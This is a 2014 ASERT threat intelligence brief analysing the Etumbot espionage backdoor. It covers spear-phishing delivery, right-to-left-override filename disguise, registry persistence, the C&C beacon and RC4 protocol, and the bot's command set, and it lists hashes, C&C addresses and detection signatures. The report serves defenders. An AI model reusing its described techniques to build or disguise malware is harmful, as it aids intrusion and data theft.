Arbor Threat Intelligence Brief 2014-07 ASERT Threat Intelligence Brief 2014-07 Illuminating the Etumbot APT Backdoor ASERT Threat Intelligence, June 2014 Etumbot is a backdoor used in targeted attacks since at least March 2011. Although previous research has covered a related family, IXESHE, little has been discussed regarding Etumbot s capabilities. ASERT has observed several Etumbot samples using decoy documents involving Taiwanese and Japanese topics of interest, indicating the malware is used in ongoing, targeted campaigns. This report will provide information on the capabilities of Etumbot and associated campaign activity. Etumbot Capabilities and Techniques Etumbot is a backdoor malware that has been associated with a Chinese threat actor group alternatively known as Numbered Panda , APT12, DYNCALC/CALC Team, and IXESHE. Targeted campaigns attributed to this group include attacks on media, technology companies, and governments. IXESHE/Numbered Panda is known for using screen saver files (.scr), a technique repeated with the Etumbot malware. [1] A previous campaign using IXESHE malware was highlighted in 2012; the group used targeted emails with malicious PDF attachments to compromise East Asian governments, Taiwanese electronics manufacturers, and a telecommunications company. The group has reportedly been active since at least July 2009. [2] Etumbot has also been referred to as Exploz [3] and Specfix. The variety of names for this malware could lead to some confusion about the actual threat. ASERT has associated Etumbot with IXESHE, and therefore Numbered Panda, based on similar system and network artifacts that are common between the malware families. For example, both malware families have been seen using the same ka4281x3.log and kb71271.log files, both families have been observed calling back to the same Command & Control servers and have been used to target similar victim populations with similar attack methodologies. Etumbot has two primary components. The first is a dropper which contains the backdoor binary (the second component) and the distraction file. Stage one is likely delivered via spear phish using an archive file extension such as .7z to deliver executable content. Stage one has been seen to leverage the Unicode Right to Left Override trick combined with convincing icons for various types of PDFs or Microsoft Office documents to convince the user to click and therefore execute the malware, which then Copyright 2014 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 runs the backdoor and displays the distraction file. As with the IXESHE malware, Etumbot has been observed dropping documents of interest to a Taiwanese and Japanese target population. Stage 1: Installer/Dropper To profile the techniques and capabilities of Etumbot, we will analyze an Etumbot dropper with MD5 ff5a7a610746ab5492cc6ab284138852 and a compile date of March 4, 2014. When executed, the dropper loads up a resource named "BINARY" from the resource section then creates the directory C:\Documents and Settings\User\Application Data\JAVA, then creates a temporary file C:\DOCUME~1\User\LOCALS~1\Temp\ka4281x3.log then creates C:\Documents and Settings\User\Application Data\JAVA\JavaSvc.exe from the aforementioned BINARY resource. This file, JavaSvc.exe, is the backdoor component (MD5 82d4850a02375a7447d2d0381b642a72). JavaSvc.exe is executed with CreateProcessInternalW. The backdoor component of the malware (named here as JavaSvc.exe) is now running. It is interesting to note that versions of the IXESHE malware also used JavaSvc.exe as a filename. Most Etumbot samples observed by ASERT drop decoy documents (PDFs, Word Documents, and Excel Spreadsheets) written in Traditional Chinese and usually pertaining to Cross-Strait or Taiwanese Government interests. Several decoy files contain details on upcoming conferences in Taiwan. Spear Phishing Etumbot appears to be sent to targets via spear phishing emails as an archive; ASERT has observed .7z and .rar formats being used to presumably deliver the Etumbot installer. The archive filename will have a topic most likely of interest to the victim. At least one identified malware sample (75193fc10145931ec0788d7c88fc8832, compiled in March 2014) uses a password-protected .7z to deliver the Etumbot installer. It is most likely that the spear phish email contained the password. With the correct password, the victim has access to the dropper inside the archive. This archive most likely included the installer d444be30d2773b23de38ead1f2c6d117, as the filenames match (1030522 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 .7z and 1030522 rcs.DOC). 1030522 is a date (May 22, 2014) from the Minguo calendar, which is unique to Taiwan. The calendar is based on the establishment of the Republic of China in 1911. 2014 is therefore the 103 year of the ROC. The installer is a .scr binary posing as a Word Document. This dropper drops a decoy document and the backdoor, named sysupdate.exe in this instance. Right-to-Left Override After the files are extracted from the archive, the filenames of Etumbot installers make use of the right-to-left override (RTLO) trick in an attempt to trick users into clicking on the installer. The RTLO technique is a simple way for malware writers to disguise names of malicious files. A hidden Unicode character in the filename will reverse the order of the characters that follow it, so that a .scr binary file appears to be a .xls document, for example. Threat actors using this trick have been well documented since at least 2009. [45] One way to avoid this trick in Windows is to set the Change your view level to Content Below are some of the names of Etumbot installers using RTLO successfully: File name Finarcs.doc 1030522 rcs.DOC Finarcs.xls 10342 rcs.xls 1030324 finalrcs.xls EPIF rcs.xls b3830791b0a397bea2ad943d151f856b d444be30d2773b23de38ead1f2c6d117 5340fcfb3d2fa263c280e9659d13ba93 beb16ac99642f5c9382686fd8ee73e00 4c703a8cfeded7f889872a86fb7c70cf 1ce47f76fca26b94b0b1d74610a734a4 Stage 2: Persistence, Distraction, HTTP Beacon and Crypto Functionality As the backdoor executes from our previous example, C:\DOCUME~1\User\LOCALS~1\Temp\ kb71271.log is created and contains the following registry file to make the malware persistent: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "JavaSvc"="C:\\Documents and Settings\\User\\Application Data\\JAVA\\JavaSvc.exe" The dropper then calls regedit with kb71271.log as a parameter to modify the registry. kb71271.log is then deleted. These temp files appear to be static and used across multiple samples of Etumbot and IXESHE. Various other samples were found using this same naming scheme. Next, C:\DOCUME~1\User\LOCALS~1\Temp\ka4281x3.log is created, filled with contents of the bait/distraction file, and then copied to C:\DOCUME~1\User\LOCALS~1\Temp\~t3fcj1.doc, which is then opened. If Word isn't installed, then notepad will open the file instead. The ka4281x3.log file is then deleted. Returning to the first sample, once the dropper (ff5a7a610746ab5492cc6ab284138852) installs the Etumbot backdoor (82d4850a02375a7447d2d0381b642a72), an initial HTTP beacon is sent to the Command & Control server that requests an RC4 encryption key. The beacon takes the form of a GET request to /home/index.asp?typeid=N where N is a randomly selected odd number between 1 and 13. If the C&C is online, the decoded response payload will contain the RC4 key that is used to encrypt subsequent communication. If the C&C does not send a valid response, the bot will re-send the initial request every 45 seconds. Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 While the user-agent may appear to be legitimate, it only occurred 39 times in a corpus of over 61 million HTTP requests. Due to the possibility of this User-Agent appearing in legitimate traffic, other indicators such as the additional fake Referer value of http://www.google.com should be present before compromise is assumed. All of the headers in the HTTP request are hard-coded in both order and value, so they may be used to provide additional indicators of compromise. If the C&C is online and responds to the beacon, then the RC4 key is delivered to the bot in a string of base64 encoded characters. Etumbot uses a url-safe base64 alphabet, i.e., any characters that would require URL-encoding are replaced. Usage of base64 is a technique consistent with previous analysis done on IXESHE malware. [2,7] In the case of Base64, the and characters are replaced with and respectively. The payload from the C&C contains an 8-byte command code in little-endian format, followed by a null-terminated string argument if the command requires it. In the case of the initial beacon response, the RC4 key is located after the command code and has been observed to be e65wb24n5 for all live C&C s that ASERT has analyzed. An example of this initial beacon and delivery of RC4 key is as follows. Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 The RC4 key can be obtained from the C&C response with the following python: import base64 c2_response="""AQAAAAAAAABlNjV3YjI0bjUAAAAAAAAAAAAAAG5FAVBvIz8hYk08ITI4BA0lMTBvBRx0NB18 BndMcFMKQhR5PxxkQ3VnFEALeXA6C3RPBmJLHBBccHQINEl9I3kMUk0lOT4wCFgqD3khTjl5IEAqGzU_DmtU eEJBYSQHEiwRADteMEFjTw5oXgtjGkUxL14JPlwyYQQXPkVaQiAyUBEaJWlkOQEmZRoXZ10EN3RndH0kbEEre w0NUklhFRlpNDJofS1hPQMCeWUvHSQPA2ZAPHEcCRkLPURbCC8bdTgIXXcIBhBbVlhjdB8iL2Y_TCNldTNjZkE vB0M5BWtaOkBALj4KIA5UBjhVPxhhSk1fAwdKKi8zdhl6TkthRUZAOQdICRgFEgY0dwpQNjtlQgR8DzM9N3NQ BhteHgdwaVtycDZvS1Q3CTYhARI1GBMrWh1FQxcdQhV7MSx+NQxqFHgVKHRAdBIBIzNFP14gLHErBAYeWH 1jGCMAdlx5MWAuFk5TW3M+UxFMclIsclEAbzgzB2NSOX0iYBBucmthDyYaZR8tBBMbJjMoCXleMkM+YjdfCHc xIUBHbic+RiEeNwAvWD40W2p0diUyCTJHFEU+KRc+ZFVJTA0zHgxwAiJva306KXkIL3ZnRwAIKCh4M3sgFgZ ZGU9lFXg4ancZFSAlNl1RaRQ8b3drCWofbWB+fkIyKEJ8AnJlaUAxEglWZSM+TWFEAE4aCnFpe1JpB1xTBSgfE UwVUh1UDE5UVC1qanIcXXlfcmRzdWkPK2doDlBhVmx4dm8zUkFgMWJHdRhzRSdrKwk_KWAadyAqMEg2MlE YNVl9Wl84bQtVcRYpFHAXGg8kQiI6E1xiBApHV3ZDLBY+G2sADmJXUC9OCixmBEYUNGBXATh0QVxUNTwyQ nhbXRxNTHlCEAlYBXhyTWdyQRcNBxskBRlRBn42HlhNbEtnJCk4QkIoDzRbEChGLi10ERpgZTpNNCJjKEUNOhh lcRR1Dkw+ITMAYAleCDQdTVpTHGQbXwktTmROQiooaEtLLHcILTo4an08I1p9H2IPeBseLiUScQp3Xg-""".replace('_','/').replace('-','=') c2_response=base64.b64decode(c2_response) rc4_key = c2_response[8:8+c2_response[8:].find('\x00')] print rc4_key e65wb24n5 While a payload of 1080 bytes is sent back, the majority appears to be random padding. Once the bot has received the encryption key, the bot sends a registration callback to the C&C /image/.jpg containing the encrypted values of system information to include the NetBIOS name of the system, user name, IP address, if the system is using a proxy (Yes/No), and a numeric value which may be some type of campaign code. IXESHE malware has also been observed using a unique campaign code that is delivered back to the C&C. [7] Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Etumbot discovers the proxy settings of the local machine. If a proxy is defined, communications to the C&C bypass the proxy and go directly to the Internet. Environments with system-defined proxies won t get this activity in proxy logs, however transparent proxies may see this activity. A contrived example of this registration string generated by the Etumbot backdoor prior to encryption is as follows: WINXPBOX|johnsmith|10.0.1.15|No Proxy|05147| A bot registration call to /image Once the bot has registered with the C&C, it will send periodic pings to ask for new commands to execute. The URI for the ping requests is /history/.asp, where encrypted NetBIOS name is the url-safe base64 encoding of the rc4-encrypted NetBIOS name. Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Etumbot Command Structure The first eight bytes of C&C responses to the bot include the command, and the second eight bytes contain an ASCII string that is parsed. In the event of a file download, file upload, or command execution, the second eight bytes contain the filename or command to be executed. The parsing function inside the binary reveals at least five commands: Etumbot function Command name Internal code Execute arbitrary command ETUM_CMD_EXEC Download file from ETUM_CMD_PUTFILE Upload file from ETUM_CMD_READFILE Pause execution ETUM_CMD_SLEEP Delete backdoor binary terminate program ETUM_CMD_UNINSTALL Ping ETUM_CMD_PING ETUM_CMD_EXEC provides the capability for the attacker to run any command on the compromised hosts. Both stdout and stderr from the command are redirected to a pipe and are then relayed back to the C&C using a separate thread that spawned during initialization. In the event of a process creation or hang error, an HTTP transaction to /tech/s.asp/m= is sent to the C&C, where contains Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 a create process error statement CreateProcess Error: %d or a message that states Process Do not exit in 10 second, so i Kill it! . Some samples of droppers have been observed using the string Process Do not cunzai in 10 second, so i Kill it! . The word "cunzai is likely the pinyin (romanization) for the Mandarin word 'exist'. ETUM_CMD_PUTFILE provides the capability for files to be placed on local system from the C&C. The file upload is accomplished by sending a request to /docs/name= and the C&C is expected to respond with the full contents of the file as the response payload. A success or failure status message is relayed via a call to /tech/s.asp?m= with various reasons for failure potentially being relayed. ETUM_CMD_READFILE allows any file from the compromised system to be uploaded to the C&C. When a READFILE command is received from the C&C, the bot makes an initial call to /manage/asp/item.asp?id=&&mux= and checks for the presence of m Ready in the response from the C&C. Data from the file is read in 2000 byte chunks, RC4 encrypted and then url-safe base64 encoded. The data is sent back to the C&C via the URI /article/30441/Review.asp?id=&&date=. The bot expects a message of from the C&C after each response is sent and will terminate the upload and send an error message to the C&C in the case it is not seen. A success or failure message is sent via the /tech/s.asp?m= to complete or terminate the upload. ETUM_CMD_SLEEP puts the bot into a dormant state for a period of time. When a bot receives the sleep command, it will relay the message, I will sleep %d minutes! via a call to /tech/s.asp?m=. ETUM_CMD_UNINSTALL deletes the binary and terminates the process with no additional communication to the C&C. Use of Byte Strings Technique (aka String Stacking Etumbot uses a technique to load strings into memory that has been called byte strings and also string stacking whereby character values are loaded into a specific memory location one byte at a time. Assuming the string values do not change frequently, these byte strings can make for meaningful detection capabilities, such as discovering an unusual combination of characters (to include typos, unique or odd syntax) being loaded into memory that creates a unique fingerprint for the malware activity that can be used as part of a yara rule or other detection mechanism. The byte string technique has been observed in various Chinese APT malware, including Gh0st RAT, IXESHE malware, Etumbot and others. ASERT has provided an IDApython script that will provide for cleaner analysis of such strings as well as a corresponding blog entry that describes the obfuscation technique and code. [8-9] The output of running find_byte_strings.py on an Etumbot backdoor shows the string m Ready which is involved in file transfer routines. The first screenshot shows the default hex byte values that are MOVed into offsets from EBP, and the second screenshot shows those same characters after translation to string values. Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Two additional screenshots provide insight into all of the strings discovered. The byte string technique has also been observed in other malware, so its presence alone does not specifically indicate the activities of Chinese threat actors. An interesting artifact occasionally observed during analysis is the presence of a numeric value just after an IP address used as a C&C. The placement of this number after a colon suggests the use of a port value, however such a port value is too high to be valid. An example of this taken from an Etumbot sample performing an initial beacon is as follows: Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Etumbot Backdoor Related File System Artifacts of Interest Filename Purpose Notes ka4281x3.log Temporary file data exchange from Observed various IXESHE malware variants well Etumbot. File stored C:\Windows\system32\, \Documents Settings\ elsewhere ka4a8213.log Temporary file data exchange from Similar format prior filename, this only been observed Etumbot samples. kb71271.log Temporary file data exchange from C&C, include registry file Observed various IXESHE malware variants well Etumbot ~DA5E74.doc ~DS5D64.doc ~t3fcjl.doc ~g4h710.doc ~gh4710.pdf ~trfai3.doc ~tresd2.xls ~taste3.doc ~tasyd3.xls ~tkfad1.xls ntprint.exe conime.exe JavaSvc.exe serverupdate.exe wscnsvr.exe spoolvs.exe winlogdate.exe tst1.tmp tst2.tmp tst3.tmp Distraction documents Contains variety document content, often obtained from other sources that will interest target Backdoor binary Etumbot backdoor binary itself which added registry persistent execution Observed IXESHE malware Etumbot samples well other malware. file tst3.tmp more popular than other file names used wider variety malware Locations JAVA Directory created Created \Documents Settings\\Application Data\ also root directory Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Etumbot Command and Control Indicators Most instances of Etumbot that were analyzed connect directly to an IP address with the IP address hardcoded in the binary. These C&C s were obtained from analyzing malware samples compiled over a period of several years. Address Domain Name Country 200.27.173.58 200.42.69.140 92.54.232.142 133.87.242.63 98.188.111.244 intro.sunnyschool.com.tw 143.89.145.156 196.1.99.15 wwap.publiclol.com 59.0.249.11 198.209.212.82 143.89.47.132 A number of these C&C IP addresses are also used by IXESHE-related malware, which seems to indicate that Etumbot is often used in tandem with IXESHE. The domain finance[.]yesplusno[.]com and IP address 211[.]53.164.152 was also used by a variety of IXESHE samples, for instance. The registrant for the domain yesplusno[.]com is listed as alice yoker with the email address chuni_fan@sina.com . Other domains registered in this name have also been used as C&C for IXESHE: securezone[.]yesplusno[.]com [10] prishmobile[.]googlesale[.]net yahoopush[.]googlesale[.]net The IP address 98.188.111.244 has also been used as a C&C for multiple IXESHE samples, beginning in at 211.53.164.152 finance.yesplusno.com least March 2013 and observed as recently as March 2014 with an Etumbot sample. This is the IP address for what appears to be a legitimate website for a school in Taiwan: intro.sunnyschool.com.tw. Note that if HTran or other connection bouncer is used, the C&C may be a legitimate site that was simply compromised and used to direct traffic elsewhere. 190.16.246.129 Miscellaneous Network Artifacts: Use of Htran Connection Bouncer Indicators suggest that HTran, a connection bouncer, is being used in some cases such as on the C&C contacted by malware sample MD5: 1ce47f76fca26b94b0b1d74610a734a4 (compilation date March 12, 2014). The presence of HTran is based on the following response string [SERVER]connection to ss:dd error IP address allocated to Hokkaido University IPs allocated allocated to to Hong Hong Kong Kong University University of of Science Science and and Technology Technology IP allocated to the University of Missouri IP allocated to the University Saint-Louis of Senegal Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 HTran is also called "HUC Packet Transmit Tool", developed by a member of the Honker Union of China, a hacker group; the source code for the program is available online. [11] HTran is designed to redirect TCP traffic intended for one host to another, and has been used by IXESHE malware previously. [2] Researchers at SecureWorks determined some years back that HTran would deliver the IP address of the final destination server if the final server were down or unreachable. The code in use here has been modified to not reveal such information. Organizations properly positioned with netflow or other traffic analysis capabilities may be able to locate upstream servers from HTran nodes that operate as the initial tier of C&C. Htran activity can be detected with the following signature: ET CURRENT_EVENTS HTran/SensLiceld.A response to infected host The import hash for the sample observed connecting to an Htran bouncer is a9059c354e5025dfe4f1c0b8b57e4f62 which links to other Etumbot samples compiled with Microsoft Visual C++ 5.0 in a similar March 2014 timeframe: 4c703a8cfeded7f889872a86fb7c70cf 2014-03-24 ff5a7a610746ab5492cc6ab284138852 2014-03-04 Etumbot Campaign Timeline The following samples have been identified by ASERT as Etumbot malware. The first identified sample has a compilation date of March 2011, while the most recent was compiled in May 2014. Many droppers/installers contain Etumbot or, alternatively, IXESHE-related backdoors. Most of the documents dropped with Etumbot are written in traditional Chinese. Traditional Chinese (versus simplified Chinese used in mainland China) is most widely used in Taiwan. While other areas do make use of traditional Chinese (Hong Kong, Macau), the topics of the decoy documents strongly suggest that Taiwanese entities are the targets for many Etumbot samples. A recent increase in Etumbot samples with configuration dates of 2014 seems to indicate that the Numbered Panda/IXESHE group has increased activity lately or has begun using Etumbot more widely in targeted campaigns. 2011 ac22aa007081caeb8970aefba7eddfcf Compilation Date: 2011-03-09 14:10:34 C&C: N/A Filename: Help statement from western U.S ?cod.scr Archive: HelpXstatementXfromXwesternXU.SX.rar (c2d667b8072aa2eaa670d4459dd7c90d) Dropped Files: ~$workp.doc (7ec4ece7358f9f67a4d583777dc1fb59), ka4281x3.log, kb71271.log, WINCHAT.EXE (70424b91dc905e4ca5e4aeb1c62ed91f) Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 ~$workp.doc: News article on recent Chilean earthquake (English) cd33c5467d425f662f57672531701d89 Compilation Date: 2011-03-14 02:49:22 C&C: N/A Filename: N/A Dropped Files: ~$workp.doc (731f288ebd8ff05b3a32377d9d7f4751), WINCHAT.exe (e62453f41af9d87b4f6d4e8223926024) ~$workp.doc: Notice from TEPCO (Tokyo Electric Power Company) dated March 14 about emergency shortage and blackouts. (Japanese) 04908c6853cb5c9d7dccaf15fb5fd3bb Compilation Date: 2011-03-24 03:24:42 C&C: 32.114.251.129 (US), 217.119.240.118 (RS), 202.106.195.30 (CN) larry[.]yumiya[.]com Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Filename: N/A Dropped Files: ~$workp.doc (4d47f52c675db16ab1e1df5ac050d3b8), ka4281x3.log, kb71271.log, WINCHAT.exe (47ee9a497a12272b50bb5e197935f13f) ~$workp.doc: Investigation Results of several cases/laws involving the Ministry of National Defence (Traditional Chinese) 2012 232b659e28c5e06ad5466c01aec35cb6 Compilation Date: 2012-09-19 08:53:14 C&C: 200.27.173.58 (CL) Filename: N/A Dropped Files: ka3157j.log, W3svc.exe (1e838fd06bcc64c54e75c527df164d91) 7a698acebcf19b55170f05388a2f7fe0 Compilation Date: 2012-10-12 01:21:11 C&C: N/A Filename: N/A Dropped Files: ka3158jl.log, iexplore.exe (ac7f77cc55c964e400b8926f21bed7d2) 1e8fba674761371cb9e88962dcb851c0 Compilation Date: 2012-11-20 00:11:02 C&C: 211.53.164.152 (KR), finance[.]yesplusno[.]com Filename: N/A Dropped Files: ~PG7953.doc (adc0ffd684d9a986d65cb4efba39c3fe), ka3157jl.log, kb71271.log, iexplore.exe (37648553f4ee6c5cb712cca446340a9a) Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 ~PG7953.doc: qqqqqq 88653dde22f723934ea9806e76a1f546 Compilation Date: 2012-12-05 01:30:07 C&C: 190.193.44.138 (AR), cht[.]strangled[.]net Filename: N/A Dropped Files: N/A (this sample is a dropped backdoor) 2b3a8734a57604e98e6c996f94776086 Compilation Date: 2012-12-05 02:13:27 C&C: 92.54.232.142 (GE) Filename: .doc .exe Dropped Files: ~DS5D64.doc (2454c4af0b839eb993dd1cbb92b2c10d), ka4281x3.log, conime.exe (3214bf22eb28e494b8e23d8ffc5ac4a9) ~DS5D64.doc: Form pertaining to unspecified investigation/case (Traditional Chinese) Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 1498c9761fc819d496171c71604c2128 Compilation Date: 2012-12-11 02:26:18 C&C: N/A Filename: cod.scr Dropped Files: ~DS5D64.doc (e8b92d20a9c4718b4f90d27cd8cba4b3), conime.exe (0bfb9f2080aeee22d3b4ca6fbfd25980) ~DS5D64.doc: Application to apply as a member of the Taiwan National Alliance (Traditional Chinese) 063b6076c69ce3ba4f116d1ad51da2b5 Compilation Date: 2012-12-12 01:26:54 C&C: N/A Filename: N/A Dropped Files: ~PG7953.doc (c4af36f64d515569816263ca48f61899), ka3157jl.log, iexplore.exe (5b15664fb744c3f3cf7ec7b5515d2be5) ~PG7953.doc: Foreign Ministry: Security Operation Center Plan (Traditional Chinese) Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 2013 ca838b98ca0f516858a8a523dcd1338d Compilation Date: 2013-07-25 07:48:29 C&C: 143.89.145.156 (HK) Filename: N/A Dropped Files: ~g4h710.doc (729353afd095ca07940490dbb786ee33), ka4281x3.log, kb71271.log, JavaSvc.exe (36b42162c818cf6c2fb22937012af290) ~g4h710.doc: The 2013 Turning Point: Blazing a Trail for Taiwan's Economy Conference at the Taipei International Convention Center 2013-07-30 (Traditional Chinese) 986937eb4052562cdd3960dd8fffc481 Compilation Date: 2013-07-30 08:22:06 C&C: 200.42.69.140 (AR) Filename: N/A Dropped Files: ~g4h710.pdf (7cd7db8ff8071d590567c68ea0219f23), ka4281x3.log, kb71271.log, JavaSvc.exe (ee8ba3bef6a607af79405e75fb0f0d6f) Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 ~g4h710.pdf: the Industrial Technology Research Institute (Taiwan), 2013 Cross Strait Communication Industry Cooperation and Exchange Meeting (2013-07-15) (Traditional Chinese) 5ef508d0ca7759ecf602192521fff287 Compilation Date: 2013-08-01 00:47:08 C&C: 200.42.69.140 (AR) Filename: N/A Dropped Files: ~t4hhk0.pdf (6b7cbcabd963ee4823dd2cd9daa5fcc7), ka4281x3.log, kb71271.log, JavaSvc.exe (ee8ba3bef6a607af79405e75fb0f0d6f) ~t4hhk0.pdf: Cross Straits Strategic Emerging Industry Cooperation and Development Forum (2013-08-14) (Traditional Chinese) Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 2014 ff5a7a610746ab5492cc6ab284138852 Compilation Date: 2014-03-04 00:19:59 C&C: 98.188.111.244 (US) Filename: WTO^XPiii20140303 _slx.scr Dropped Files: ~t3fcj1.doc (361a6752766c154c6e31a4d9cc3a3fdc), kb71271.log, ka4281x3.log, JavaSvc.exe (82d4850a02375a7447d2d0381b642a72) ~t3fcj1.doc 1ce47f76fca26b94b0b1d74610a734a4 Compilation Date: 2014-03-12 01:38:44 C&C: 133.87.242.63 (JP) Filename: APO EPIF rcs.xls Dropped Files: ~tresd2.xls (2e073d35934bb3920fe9907ccb7bc5f8), ka4281x3.log, kb71271.log, wscnsvr.exe (deeec10be746ecf9bf46a30bf58bc784) Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 ~tresd2.xls: International Green Fair (EPIF), held in Taiwan March 13-16, 2014 (Traditional Chinese) 4c703a8cfeded7f889872a86fb7c70cf Compilation Date: 2014-03-24 00:53:57 C&C: 133.87.242.63 (JP) Filename: 1030324 finalrcs.xls Archive: .rar (9b42968e9a7646feb7db318713271718) Dropped Files: ~t3fcj1.xls (18dc518810892d89430a1efe2c71797e), ka4a8213.log, kb71271.log, serverupdate.exe (fed7ce0d20e78b5814475d8f9d062c80) ~t3fcj1.xls: Filename (Traditional Chinese) pertains to a Taiwan National Development Council meeting, document is unreadable Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 beb16ac99642f5c9382686fd8ee73e00 Compilation Date: 2014-03-31 07:34:00 C&C: 143.89.47.132 (HK) Filename: 10342 rcs.xls Dropped Files: ~tkfad1.xls (eef5f9b46676b31a791216b42360c8bb), ka4a8213.log, kb71271.log, Googleupdate.exe (e7d960060d602deb53c7d49d2002c4a4) ~tkfad1.xls: Filename (Traditional Chinese) pertains to April 2 meeting of unnamed Commission about financial regulation amendments. Document format is unreadable 5340fcfb3d2fa263c280e9659d13ba93 Compilation Date: 2014-04-23 01:23:41 C&C: 196.1.99.15 (SN), wwap[.]publiclol[.]com Filename: Finarcs.xls Dropped Files: ~tasyd3.xls (c5118ba47b7aa12d6524f648f1623cc1), ka4a8213.log, kb71271.log, winlogdate.exe (ba4f88fe44d02a299dbeab18c37f74f3) ~tasyd3.xls: Filename price list (Traditional Chinese). Document format is unreadable. Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 a6b4b679a51627ce279d5107c20dd078 Compilation Date: 2014-04-29 03:44:19 C&C: 59.0.249.11 (KR) Filename: spoolv.exe Dropped Files: N/A (this sample is a dropped backdoor) d444be30d2773b23de38ead1f2c6d117 Compilation Date: 2014-05-14 13:34:46 C&C: 198.209.212.82 (US) Filename: 1030522 rcs.DOC Archive: 1030522 .7z (75193fc10145931ec0788d7c88fc8832) Dropped Files: ~trfai3.doc (196ae8d6a5d19737ae6975d047ab1d59), ka4a8213.log, kb71271.log, sysupdate.exe (86ef188537f5e4637df24336c9b21cb0) ~trfai3.doc: List of Convener, Deputy Convener, and Executive Secretary names for various government departments (Traditional Chinese) b3830791b0a397bea2ad943d151f856b Compilation Date: 2014-05-14 08:16:41 C&C: 198.209.212.82 (US) Filename: Finarcs.doc Archive: .rar (8629b95f9e0898793e0881a8f79ee0cf) Dropped Files: ~taste3.doc (aeaf1e78c2082644b122bf32803acb1f), ka4a8213.log, kb71271.log, spoolvs.exe (5eba8ced8656da865f91d5fc87e8dc74) Copyright 2013 Arbor Networks, Inc. All rights reserved. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 ~taste3.doc: Sun Yat-Sen University (Taiwan) purchase list, items include Cisco3045E/K9 or equivalent (Traditional Chinese) List of Identified Etumbot MD5s ca838b98ca0f516858a8a523dcd1338d 986937eb4052562cdd3960dd8fffc481 5ef508d0ca7759ecf602192521fff287 d08c54ed480c9cd8b35eab2f278e7a28 82d4850a02375a7447d2d0381b642a72 4c703a8cfeded7f889872a86fb7c70cf 063b6076c69ce3ba4f116d1ad51da2b5 232b659e28c5e06ad5466c01aec35cb6 1e8fba674761371cb9e88962dcb851c0 7a698acebcf19b55170f05388a2f7fe0 ff5a7a610746ab5492cc6ab284138852 cd33c5467d425f662f57672531701d89 1ce47f76fca26b94b0b1d74610a734a4 ac22aa007081caeb8970aefba7eddfcf 1498c9761fc819d496171c71604c2128 2b3a8734a57604e98e6c996f94776086 9b42968e9a7646feb7db318713271718 04908c6853cb5c9d7dccaf15fb5fd3bb d444be30d2773b23de38ead1f2c6d117 86ef188537f5e4637df24336c9b21cb0 e7d960060d602deb53c7d49d2002c4a4 5340fcfb3d2fa263c280e9659d13ba93 a6b4b679a51627ce279d5107c20dd078 88653dde22f723934ea9806e76a1f546 b3830791b0a397bea2ad943d151f856b beb16ac99642f5c9382686fd8ee73e00 Proprietary and Confidential Information of Arbor Networks, Inc. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 References [1] http://www.crowdstrike.com/blog/whois-numbered-panda/ [2] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf [3] http://www.symantec.com/security_response/writeup.jsp?docid=2013-080921-5219-99&tabid=2 [4] https://blog.commtouch.com/cafe/malware/exe-read-backwards-spells-malware/ [5] http://threatpost.com/sirefef-malware-found-using-unicode-right-to-left-override-technique/102033 [6] http://blog.malwarebytes.org/online-security/2014/01/the-rtlo-method/ [7] http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolvequickly.html [8] https://github.com/arbor/reversing/blob/master/find_byte_strings.py [9] http://www.arbornetworks.com/asert/2013/07/asert-mindshare-finding-byte-strings-using-idapython/ [10] https://www.symantec.com/security_response/writeup.jsp?docid=2014-011500-2419-99&tabid=2 [11] http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm About ASERT The Arbor Security Engineering & Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of today's enterprise and network operators. ASERT engineers and researchers are part of an elite group of institutions that are referred to as super remediators, and represent the best in information security. This is a reflection of having both visibility and remediation capabilities at a majority of service provider networks globally. ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds. ASERT also operates the world s largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS , Arbor's global network of sensors: http://atlas.arbor.net. This mission and the associated resources that 